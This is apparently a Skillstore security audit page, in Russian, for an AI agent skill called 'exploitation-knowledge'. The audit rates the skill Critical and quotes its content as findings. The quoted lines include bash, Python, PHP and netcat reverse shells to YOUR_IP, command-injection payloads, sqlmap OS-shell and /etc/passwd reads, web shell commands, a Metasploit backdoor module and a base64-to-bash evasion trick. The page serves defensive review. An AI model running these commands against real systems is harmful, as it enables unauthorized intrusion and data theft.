Навыки exploitation-knowledge
📦
exploitation-knowledge
Ревизия содержимого r1 Критично ⚙️ Внешние команды🌐 Доступ к сети📁 Доступ к файловой системе
Оценка техник эксплуатации и shell-доступа
Командам безопасности нужен структурированный способ проверки рабочих процессов эксплуатации и понимания операционного риска. Этот навык систематизирует методы эксплуатации, варианты payload и проверки после получения доступа для контролируемого лабораторного или аудиторского анализа.
Поддерживает: Claude Codex Code(CC)
Не устанавливайте этот Skill автоматически.
Каноническая политика требует проверки оператором перед любым действием по установке.
Установить с помощью моего Агента
Скопируйте этот запрос в своего Агента. Он содержит каноническую страницу Skill и манифест.
Запрос агента
Review the Skillstore skill "exploitation-knowledge" from https://skillstore.io/skills/charleskozel-exploitation-knowledge.md and its manifest at https://skillstore.io/api/skills/charleskozel-exploitation-knowledge/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Ваш Агент по-прежнему должен показать план и запросить все подтверждения, требуемые политикой безопасности.
Ресурсы для AI-агентов
Используйте эти ссылки, когда AI-агенту, crawler или script нужен чистый контекст вместо полной страницы.
Протестировать
Использование «exploitation-knowledge». Суммируй навык для координатора обучения.
Ожидаемый результат:
Навык объясняет обнаружение эксплойтов, выбор payload, работу с shell и проверку после получения доступа. Его следует ограничивать контролируемыми лабораториями, потому что он включает практические процедуры атак.
Использование «exploitation-knowledge». Найди области контента с наибольшим риском.
Ожидаемый результат:
- Payload для reverse shell и настройка listener создают прямой риск shell-доступа.
- Шаги Metasploit и загрузки эксплойтов позволяют выполнять практические рабочие процессы компрометации.
- Чтение системных файлов и шаги захвата флагов поощряют сбор данных после компрометации.
Использование «exploitation-knowledge». Перепиши тему для защитников.
Ожидаемый результат:
Представь рабочий процесс как detection engineering. Сосредоточься на индикаторах web shell, необычных исходящих соединениях, телеметрии command injection и средствах контроля злоупотребления учетными данными.
Аудит безопасности
Критичноv9 • 09.07.2026 Открыть версионный отчет
AI adjudication confirms that the skill is an operational exploitation playbook with reverse shells, Metasploit usage, command injection, credential testing, system file reads, and flag capture. Several markdown-only detections were marked false positive, but the confirmed static findings and semantic findings show high misuse potential. No prompt injection attempt was found in SKILL.md.
1
Просканировано файлов
525
Проанализировано строк
97
Пункты проверки
0
Ложные срабатывания проигнорированы
Подтверждённые проблемы безопасности (23)
Критично
Metasploit framework
- `msfconsole` - Metasploit framework
The skill references Metasploit as part of exploit discovery, execution, or troubleshooting. Metasploit use is actionable offensive tooling in this context.
Критично
Metasploit framework
# Layer 2: Metasploit framework
The skill references Metasploit as part of exploit discovery, execution, or troubleshooting. Metasploit use is actionable offensive tooling in this context.
Критично
Metasploit framework
#### B. Metasploit Exploits
The skill references Metasploit as part of exploit discovery, execution, or troubleshooting. Metasploit use is actionable offensive tooling in this context.
Критично
Metasploit framework
# Type 4: Tool-specific failure (e.g., Metasploit fails)
The skill references Metasploit as part of exploit discovery, execution, or troubleshooting. Metasploit use is actionable offensive tooling in this context.
Критично
Metasploit framework
- Bug in Metasploit module
The skill references Metasploit as part of exploit discovery, execution, or troubleshooting. Metasploit use is actionable offensive tooling in this context.
Критично
Metasploit framework
"tool": "metasploit",
The skill references Metasploit as part of exploit discovery, execution, or troubleshooting. Metasploit use is actionable offensive tooling in this context.
Критично
Malware type keywords
msfconsole -q -x "use exploit/linux/http/webmin_backdoor; set RHOSTS 10.10.10.1; set LHOST YOUR_IP;
The Metasploit command selects a webmin_backdoor exploit module and configures a target and listener. This is direct backdoor exploitation guidance.
Критично
System password file access
sqlmap -u "http://TARGET/page.php?id=1" --file-read=/etc/passwd
The line directs reading /etc/passwd through SQLi, command injection, or a web shell. Accessing system password files after exploitation is a critical post-compromise behavior.
Показать все подтверждённые находки (23)
Критично
System password file access
# Try: cat /etc/passwd
The line directs reading /etc/passwd through SQLi, command injection, or a web shell. Accessing system password files after exploitation is a critical post-compromise behavior.
Критично
System password file access
curl http://TARGET/shell.php?cmd=cat+/etc/passwd
The line directs reading /etc/passwd through SQLi, command injection, or a web shell. Accessing system password files after exploitation is a critical post-compromise behavior.
Критично
Base64 decode to shell
- Base64: echo BASE64 | base64 -d | bash
The line recommends decoding Base64 and piping it to bash as a filter bypass. That is payload evasion for command execution.
Критично
End-to-End Initial Access Workflow
The skill states that it converts vulnerabilities into access, establishes shells, and captures user flags. This is an operational compromise workflow, not only conceptual security education.
The purpose and success criteria explicitly include command execution, shell access, and user flag capture. Those goals confirm offensive intent beyond individual command patterns.
Критично
Payload Evasion and Filter Bypass Guidance
The skill instructs users to adapt payloads when special characters, keywords, WAFs, or IDS controls block commands. This supports evasion of protective controls during exploitation.
The lines explicitly discuss encoding, command alternatives, WAF or IDS blocking, and slower approaches after timeouts. This is high-confidence evasion intent.
Критично
Post-Compromise Data Capture Workflow
The skill directs users to locate, read, verify, and store user flag data after command execution. The output format also records user access and captured flag values.
The workflow repeatedly references finding user.txt, reading it, storing it, and reporting it as successful exploitation. This is explicit post-compromise data collection.
Высокий
Network reconnaissance
- cat → head, tail, nl, more, less
The line provides alternatives such as /dev/tcp, telnet, or socat to keep network shell capability when commands are filtered. The category is broad, but the exploitation support is real.
Высокий
Credential Abuse Guidance
The skill recommends hydra and default credential testing for SSH, FTP, MySQL, and web administration panels. This guidance can enable unauthorized credential attacks outside an approved lab.
The cited lines name brute-force tooling and give service-specific default credential attempts. The context is initial access, which makes the misuse risk clear.
Средний
System reconnaissance
id
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
Средний
System reconnaissance
whoami
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
Средний
System reconnaissance
curl http://TARGET/uploads/shell.php?cmd=id
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
Средний
System reconnaissance
curl "http://TARGET/ping.php?ip=127.0.0.1|whoami"
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
Средний
System reconnaissance
curl "http://TARGET/ping.php?ip=127.0.0.1`whoami`"
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
Средний
System reconnaissance
curl http://TARGET/shell.php?cmd=id;whoami;pwd
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
Средний
System reconnaissance
3. **Verify success** - always test access with `id`, `whoami`
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
Пункты проверки возможностей (97)
Это реальные локальные возможности, которые могут ожидаться для этого навыка, поэтому они требуют проверки, но не считаются подтверждённым вредоносным поведением.
Критично
Python subprocess.call
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect
The Python snippet creates a socket to an attacker-controlled host and invokes /bin/bash with subprocess.call. This is a direct reverse shell payload.
Критично
Python PTY spawn (shell access)
python3 -c 'import pty;pty.spawn("/bin/bash")'
The line explicitly spawns /bin/bash using Python pty after shell access. This improves interactive shell control during post-exploitation.
Критично
Ruby/shell backtick execution
- `msfconsole` - Metasploit framework
The section directs Metasploit exploit search or execution. This is actionable exploitation tooling, not a benign administrative command.
Критично
Ruby/shell backtick execution
- `sqlmap` - SQL injection
The section uses SQL injection tooling to test, obtain an OS shell, or read system files. This is actionable web exploitation guidance.
Критично
Ruby/shell backtick execution
```python
The snippet adapts exploit code to embed a bash reverse shell payload. That is actionable payload construction.
Критично
Ruby/shell backtick execution
```
The section directs Metasploit exploit search or execution. This is actionable exploitation tooling, not a benign administrative command.
Критично
Ruby/shell backtick execution
```bash
The section directs Metasploit exploit search or execution. This is actionable exploitation tooling, not a benign administrative command.
Критично
Ruby/shell backtick execution
```
The section directs Metasploit exploit search or execution. This is actionable exploitation tooling, not a benign administrative command.
Критично
Ruby/shell backtick execution
```bash
The block provides ready reverse shell payloads for bash, Python, PHP, and netcat. These are direct shell access techniques.
Критично
Ruby/shell backtick execution
```
The section tests command injection and escalates to reverse shell execution. These commands are directly actionable attack steps.
Критично
Ruby/shell backtick execution
```bash
The section uses SQL injection tooling to test, obtain an OS shell, or read system files. This is actionable web exploitation guidance.
Критично
Ruby/shell backtick execution
```
The section tests command injection and escalates to reverse shell execution. These commands are directly actionable attack steps.
Критично
Ruby/shell backtick execution
```bash
The section tests command injection and escalates to reverse shell execution. These commands are directly actionable attack steps.
Критично
Ruby/shell backtick execution
curl "http://TARGET/ping.php?ip=127.0.0.1`whoami`"
The section tests command injection and escalates to reverse shell execution. These commands are directly actionable attack steps.
Критично
Ruby/shell backtick execution
```
The section tests command injection and escalates to reverse shell execution. These commands are directly actionable attack steps.
Критично
Ruby/shell backtick execution
```bash
The commands execute target-side actions through a web shell, including file reads and identity checks. This is remote command execution guidance.
Критично
Ruby/shell backtick execution
```
The section sets up background reverse shells using netcat and named pipes. This is direct shell maintenance behavior.
Критично
Ruby/shell backtick execution
```bash
The section sets up background reverse shells using netcat and named pipes. This is direct shell maintenance behavior.
Критично
Ruby/shell backtick execution
```
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
Критично
Ruby/shell backtick execution
```bash
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
Критично
Ruby/shell backtick execution
```
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
Критично
Ruby/shell backtick execution
```bash
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
Критично
Ruby/shell backtick execution
```
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
Критично
Ruby/shell backtick execution
```bash
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
Критично
Ruby/shell backtick execution
```
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
Критично
Ruby/shell backtick execution
```
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
Критично
Ruby/PHP system() call
<?php system("bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"); ?>
The PHP snippet calls system() with a bash reverse shell payload. This is directly usable web-shell code for remote command execution.
Критично
Unix shell invocation
shell = "/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"
The line defines a bash /dev/tcp reverse shell as an exploit payload. It is designed to obtain shell access from a target.
Критично
Unix shell invocation
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect
The line invokes /bin/bash from Python after opening a network socket. This is a direct reverse shell implementation.
Критично
Unix shell invocation
nc YOUR_IP 4444 -e /bin/bash
The netcat command launches /bin/bash with -e for reverse shell access. This is direct remote shell behavior.
Критично
Unix shell invocation
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc YOUR_IP 4444 >/tmp/f
The named-pipe netcat command connects /bin/bash to a remote listener. This is a known reverse shell technique.
Критично
Unix shell invocation
python3 -c 'import pty;pty.spawn("/bin/bash")'
The Python pty command upgrades a shell to an interactive bash session. It is explicit post-exploitation shell stabilization.
Критично
Unix shell invocation
nc YOUR_IP 4444 < /tmp/pipe | /bin/bash > /tmp/pipe 2>&1 &
The named-pipe command bridges netcat to /bin/bash in the background. It provides persistent interactive shell handling.
Критично
Hardcoded URL
sqlmap -u "http://TARGET/page.php?id=1" --file-read=/etc/passwd
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Критично
Hardcoded URL
curl http://TARGET/shell.php?cmd=cat+/etc/passwd
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Критично
Hardcoded IP address
msfconsole -q -x "use exploit/linux/http/webmin_backdoor; set RHOSTS 10.10.10.1; set LHOST YOUR_IP;
The IP appears inside a Metasploit module command that configures a target and listener. The command is actionable exploit execution.
Критично
Temp directory access
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc YOUR_IP 4444 >/tmp/f
The temp path is used for named pipes that connect netcat to /bin/bash. That is a reverse shell mechanism, not harmless temporary-file use.
Критично
Temp directory access
mkfifo /tmp/pipe
The temp path is used for named pipes that connect netcat to /bin/bash. That is a reverse shell mechanism, not harmless temporary-file use.
Критично
Temp directory access
nc YOUR_IP 4444 < /tmp/pipe | /bin/bash > /tmp/pipe 2>&1 &
The temp path is used for named pipes that connect netcat to /bin/bash. That is a reverse shell mechanism, not harmless temporary-file use.
Высокий
Process spawn
python3 -c 'import pty;pty.spawn("/bin/bash")'
The line spawns /bin/bash through Python pty as part of shell stabilization. That is actionable post-exploitation shell control.
Высокий
Ruby/shell backtick execution
- `rlwrap nc` - Stabilize shells
The lines prepare netcat or rlwrap listeners for shell sessions. Listener setup is a necessary step for reverse shell exploitation.
Высокий
Ruby/shell backtick execution
- `curl` - Manual web testing
The section uses HTTP tooling to upload, locate, or trigger a web shell. This supports unauthorized remote command execution if misused.
Высокий
Ruby/shell backtick execution
- `hydra` - Service brute force (limited use)
The line lists hydra for credential brute forcing. Automated credential attacks are a real misuse risk.
Высокий
Ruby/shell backtick execution
- `ssh`/`ftp`/`mysql` - Test discovered credentials
The section recommends testing discovered or default credentials against services. This can enable unauthorized access when used outside a scoped lab.
Высокий
Ruby/shell backtick execution
```
The lines prepare netcat or rlwrap listeners for shell sessions. Listener setup is a necessary step for reverse shell exploitation.
Высокий
Ruby/shell backtick execution
```bash
The lines prepare netcat or rlwrap listeners for shell sessions. Listener setup is a necessary step for reverse shell exploitation.
Высокий
Ruby/shell backtick execution
```
The lines prepare netcat or rlwrap listeners for shell sessions. Listener setup is a necessary step for reverse shell exploitation.
Высокий
Ruby/shell backtick execution
```bash
The section upgrades a basic shell into an interactive TTY. This is post-exploitation shell stabilization.
Высокий
Ruby/shell backtick execution
```
The section upgrades a basic shell into an interactive TTY. This is post-exploitation shell stabilization.
Высокий
Ruby/shell backtick execution
```bash
The section uses HTTP tooling to upload, locate, or trigger a web shell. This supports unauthorized remote command execution if misused.
Высокий
Ruby/shell backtick execution
```
The section recommends testing discovered or default credentials against services. This can enable unauthorized access when used outside a scoped lab.
Высокий
Ruby/shell backtick execution
```bash
The section recommends testing discovered or default credentials against services. This can enable unauthorized access when used outside a scoped lab.
Высокий
Ruby/shell backtick execution
```
The section probes target capabilities and writable paths after RCE to select payloads. This is exploitation preparation on a compromised target.
Высокий
Ruby/shell backtick execution
```
The section probes target capabilities and writable paths after RCE to select payloads. This is exploitation preparation on a compromised target.
Высокий
Ruby/shell backtick execution
```bash
The section probes target capabilities and writable paths after RCE to select payloads. This is exploitation preparation on a compromised target.
Высокий
Ruby/shell backtick execution
```
The section probes target capabilities and writable paths after RCE to select payloads. This is exploitation preparation on a compromised target.
Высокий
Ruby/shell backtick execution
```
The section chooses reverse shell methods and tests web-shell commands against a target. It includes payload adaptation and retry logic.
Высокий
Ruby/shell backtick execution
```
The section chooses reverse shell methods and tests web-shell commands against a target. It includes payload adaptation and retry logic.
Высокий
Ruby/shell backtick execution
```bash
The section chooses reverse shell methods and tests web-shell commands against a target. It includes payload adaptation and retry logic.
Высокий
Shell command substitution
USER_FLAG=$(cat /home/username/user.txt)
The command substitution reads a user flag file and stores it in local state after compromise. That is post-exploitation data capture.
Высокий
Template literal with command substitution
```bash
The command substitution reads a user flag file and stores it in local state after compromise. That is post-exploitation data capture.
Высокий
Hardcoded URL
curl -F "file=@shell.php" http://TARGET/upload.php
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Высокий
Hardcoded URL
gobuster dir -u http://TARGET/uploads -x php,phtml
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Высокий
Hardcoded URL
curl http://TARGET/uploads/shell.php?cmd=id
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Высокий
Hardcoded URL
sqlmap -u "http://TARGET/page.php?id=1" --batch --level=5 --risk=3
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Высокий
Hardcoded URL
sqlmap -u "http://TARGET/page.php?id=1" --os-shell
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Высокий
Hardcoded URL
curl "http://TARGET/ping.php?ip=127.0.0.1;id"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Высокий
Hardcoded URL
curl "http://TARGET/ping.php?ip=127.0.0.1|whoami"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Высокий
Hardcoded URL
curl "http://TARGET/ping.php?ip=127.0.0.1`whoami`"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Высокий
Hardcoded URL
curl "http://TARGET/ping.php?ip=;bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Высокий
Hardcoded URL
wget https://raw.githubusercontent.com/user/repo/exploit.py
The command downloads an exploit proof of concept from a raw GitHub URL. Pulling unreviewed exploit code is a real supply-chain and misuse risk.
Высокий
Hardcoded URL
curl "http://TARGET/shell.php?cmd=which nc"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Высокий
Hardcoded URL
curl "http://TARGET/shell.php?cmd=which python3"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Высокий
Hardcoded URL
curl "http://TARGET/shell.php?cmd=python3 -c 'import socket,subprocess...'"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Высокий
Hardcoded URL
curl http://TARGET/shell.php?cmd=cd+/home;ls+-la
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Высокий
Hardcoded URL
curl http://TARGET/shell.php?cmd=id;whoami;pwd
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Высокий
Hardcoded IP address
curl "http://TARGET/ping.php?ip=127.0.0.1;id"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Высокий
Hardcoded IP address
curl "http://TARGET/ping.php?ip=127.0.0.1|whoami"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Высокий
Hardcoded IP address
curl "http://TARGET/ping.php?ip=127.0.0.1`whoami`"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
Высокий
Standard device file access
find / -name "user.txt" 2>/dev/null
The filesystem search is explicitly for user flag files after command execution is gained. This is post-compromise data discovery.
Высокий
Standard device file access
find /home -name "user.txt" 2>/dev/null
The filesystem search is explicitly for user flag files after command execution is gained. This is post-compromise data discovery.
Высокий
Standard device file access
find /home -name "*.txt" 2>/dev/null
The filesystem search is explicitly for user flag files after command execution is gained. This is post-compromise data discovery.
Высокий
Non-standard device file access
ls -la /tmp /dev/shm /var/tmp
The line checks writable directories such as /tmp and /dev/shm after target RCE. Those locations are commonly used for payload staging.
Средний
Ruby/shell backtick execution
- `searchsploit` - Local exploit-db search
The command guidance searches for public exploit code and proof-of-concept material. In this skill it supports selecting attacks for target compromise.
Средний
Ruby/shell backtick execution
```bash
The command guidance searches for public exploit code and proof-of-concept material. In this skill it supports selecting attacks for target compromise.
Средний
Ruby/shell backtick execution
```bash
The lines run an exploit and verify access with identity and working-directory commands. This is post-exploitation validation.
Средний
Ruby/shell backtick execution
```
The lines run an exploit and verify access with identity and working-directory commands. This is post-exploitation validation.
Средний
Ruby/shell backtick execution
```bash
The command guidance searches for public exploit code and proof-of-concept material. In this skill it supports selecting attacks for target compromise.
Средний
Ruby/shell backtick execution
```bash
The prose guides diagnosing failed exploits, switching payloads, and continuing exploitation attempts. It is operational offensive methodology.
Средний
Ruby/shell backtick execution
```bash
The prose guides diagnosing failed exploits, switching payloads, and continuing exploitation attempts. It is operational offensive methodology.
Средний
Ruby/shell backtick execution
```
The prose guides diagnosing failed exploits, switching payloads, and continuing exploitation attempts. It is operational offensive methodology.
Средний
Ruby/shell backtick execution
- Check listener is running: `netstat -tlnp | grep 4444`
The troubleshooting guidance supports reverse shell operation and exploit dependency resolution. It is not standalone malware, but it enables offensive execution.
Средний
Ruby/shell backtick execution
- Install: `pip3 install requests pycrypto`
The troubleshooting guidance supports reverse shell operation and exploit dependency resolution. It is not standalone malware, but it enables offensive execution.
Средний
Ruby/shell backtick execution
```
The prose guides diagnosing failed exploits, switching payloads, and continuing exploitation attempts. It is operational offensive methodology.
Средний
Ruby/shell backtick execution
3. **Verify success** - always test access with `id`, `whoami`
The lines run an exploit and verify access with identity and working-directory commands. This is post-exploitation validation.
Низкий
Hardcoded URL
curl -s "https://api.github.com/search/repositories?q=CVE-YYYY-XXXXX+exploit" | jq -r '.items[].html
The command queries GitHub for public exploit repositories. It is not credential exfiltration, but it supports acquisition of offensive proof-of-concept code.
Низкий
Hardcoded URL
curl -s "https://api.github.com/search/repositories?q=CVE-2021-XXXX" | jq -r '.items[].html_url'
The command queries GitHub for public exploit repositories. It is not credential exfiltration, but it supports acquisition of offensive proof-of-concept code.
Факторы риска
⚙️ Внешние команды (50)
SKILL.md:160 SKILL.md:116 SKILL.md:160 SKILL.md:22 SKILL.md:23 SKILL.md:29 SKILL.md:32 SKILL.md:33 SKILL.md:38 SKILL.md:39 SKILL.md:49-72 SKILL.md:72-78 SKILL.md:78-93 SKILL.md:93-102 SKILL.md:102-105 SKILL.md:105-108 SKILL.md:108-111 SKILL.md:111-125 SKILL.md:125-131 SKILL.md:131-137 SKILL.md:137-143 SKILL.md:143-152 SKILL.md:152-158 SKILL.md:158-164 SKILL.md:164-170 SKILL.md:170-182 SKILL.md:182-186 SKILL.md:186-195 SKILL.md:195-199 SKILL.md:199-203 SKILL.md:203-207 SKILL.md:207-211 SKILL.md:211-223 SKILL.md:223-229 SKILL.md:229-241 SKILL.md:241-250 SKILL.md:250-260 SKILL.md:260-263 SKILL.md:263-278 SKILL.md:278-284 SKILL.md:284-305 SKILL.md:305-308 SKILL.md:308-324 SKILL.md:324-330 SKILL.md:330-357 SKILL.md:357-360 SKILL.md:360-368 SKILL.md:368-375 SKILL.md:375-384 SKILL.md:384-387
🌐 Доступ к сети (24)
SKILL.md:63 SKILL.md:172 SKILL.md:178 SKILL.md:181 SKILL.md:188 SKILL.md:191 SKILL.md:194 SKILL.md:201 SKILL.md:202 SKILL.md:203 SKILL.md:206 SKILL.md:216 SKILL.md:219 SKILL.md:310 SKILL.md:314 SKILL.md:318 SKILL.md:377 SKILL.md:380 SKILL.md:383 SKILL.md:100 SKILL.md:107 SKILL.md:201 SKILL.md:202 SKILL.md:203
📁 Доступ к файловой системе (7)
Обнаруженные паттерны
Metasploit framework×6Malware type keywordsSystem password file access×3Base64 decode to shellSystem reconnaissance×7Network reconnaissance
Аудитор:: codex Посмотреть историю аудитов →
Поделиться и цитировать этот отчет
Делитесь версионным отчетом об оценке, нейтральным значком, встраиваемой карточкой и цитатами. Skillstore публикует доказательства, не решая, безопасен ли этот Skill.
Копировать ссылку на отчёт
https://skillstore.io/skills/charleskozel-exploitation-knowledge/audits/9?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportЗначок Markdown
[](https://skillstore.io/skills/charleskozel-exploitation-knowledge?utm_source=security_passport_badge)Значок HTML
<a href="https://skillstore.io/skills/charleskozel-exploitation-knowledge?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/charleskozel-exploitation-knowledge/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Встраиваемая карточка
<iframe src="https://skillstore.io/embed/skills/charleskozel-exploitation-knowledge.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Академические ссылки (APA · BibTeX · CFF)
Цитата APA
CharlesKozel. (2026). exploitation-knowledge security audit report (audit version 9) [Author version unspecified]. Skillstore. https://skillstore.io/skills/charleskozel-exploitation-knowledge/audits/9Цитата BibTeX
@techreport{charleskozel-charleskozel-exploitation-knowledge-2026,
author = {CharlesKozel},
title = {exploitation-knowledge security audit report (audit version 9)},
institution = {Skillstore},
year = {2026},
number = {9},
url = {https://skillstore.io/skills/charleskozel-exploitation-knowledge/audits/9},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "exploitation-knowledge security audit report (audit version 9)"
version: "unspecified"
type: report
authors:
- name: "CharlesKozel"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/charleskozel-exploitation-knowledge/audits/9"
identifiers:
- type: other
value: "skillstore:charleskozel-exploitation-knowledge:audit:9"
description: "Skillstore immutable audit report identifier"
Оценка Skillstore
Почему такая оценка Достоверность доказательств: Средний 55
Архитектура
85
Сопровождаемость
85
Контент
72
Сообщество
78
Соответствие спецификации
Что вы можете построить
Проверка шагов лабораторной эксплуатации
Сопоставить контролируемое учебное упражнение от обнаружения уязвимости до начального доступа и проверки после получения доступа.
Аудит offensive-плейбуков
Выявить опасный контент по эксплуатации, который следует удалить, переписать или ограничить перед публикацией.
Подготовка защитных детекций
Преобразовать перечисленные виды поведения при эксплуатации в идеи детекций для reverse shell, web shell и command injection.
Попробуйте эти промпты
Суммировать безопасные учебные цели
Суммируй этот навык для контролируемой учебной лаборатории по безопасности. Сосредоточься на учебных целях, границах безопасности и точках защитной проверки.
Выявить рискованные разделы
Проверь этот навык и перечисли разделы, содержащие практическую эксплуатацию, shell-доступ, злоупотребление учетными данными или рекомендации по сбору данных.
Преобразовать в защитные рекомендации
Преобразуй рабочий процесс эксплуатации в рекомендации по защитному мониторингу. Сделай акцент на индикаторах, логах, средствах контроля и ограничениях авторизованного тестирования.
Построить план исправления для публикации
Создай план исправления, который удаляет исполняемые шаги атаки, сохраняет обучение на высоком уровне и добавляет рамки области действия, авторизации и детекций.
Лучшие практики
- Используйте этот контент только для авторизованных лабораторий, контролируемых аудитов или защитной проверки контента.
- Преобразуйте offensive-процедуры в логику детекций и рекомендации по снижению рисков перед широким распространением.
- Удаляйте исполняемые payload и шаги взаимодействия с целью перед публикацией образовательного материала.
Избегать
- Использование навыка для получения доступа к системам без явной письменной авторизации.
- Публикация payload для reverse shell, шагов выполнения эксплойтов или команд чтения файлов без ограничений.
- Рассмотрение захвата флагов, тестирования учетных данных или стабилизации shell как допустимой автоматизации общего назначения.
Часто задаваемые вопросы
Безопасен ли этот навык для автоматической установки?
Нет. Он содержит практические рекомендации по эксплуатации и должен требовать строгой проверки перед любым использованием.
В чем основная проблема безопасности?
Навык предоставляет практические шаги для обнаружения эксплойтов, shell-доступа, command injection и сбора данных после получения доступа.
Можно ли использовать его для защитной работы?
Да, если контент переформулирован для детекций, снижения рисков и анализа в авторизованной лаборатории.
Обеспечивает ли навык проверки авторизации?
Нет. Он не включает проверку области действия, проверки согласия или технические средства контроля, предотвращающие злоупотребление.
Что следует удалить перед публикацией?
Следует удалить исполняемые команды эксплойтов, payload для reverse shell, шаги чтения файлов, рабочие процессы захвата флагов и инструкции по обходу защиты.
Кто должен проверять этот навык?
Рецензент по безопасности со знаниями offensive security должен проверить его перед распространением в маркетплейсе.
Сведения для разработчиков
Автор
CharlesKozelЛицензия
MIT
Ревизия Skillstore
r1
Примечание о версии
Автор не указал версию.
Репозиторий
https://github.com/CharlesKozel/Pentest-Agent-Evalulator/tree/main/agents/claude-tbug/skills/exploitationСсылка
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
Актуальность поддержки
20.07.2026
Использование
6 загрузок · 307 просмотров
Структура файлов
📄 SKILL.md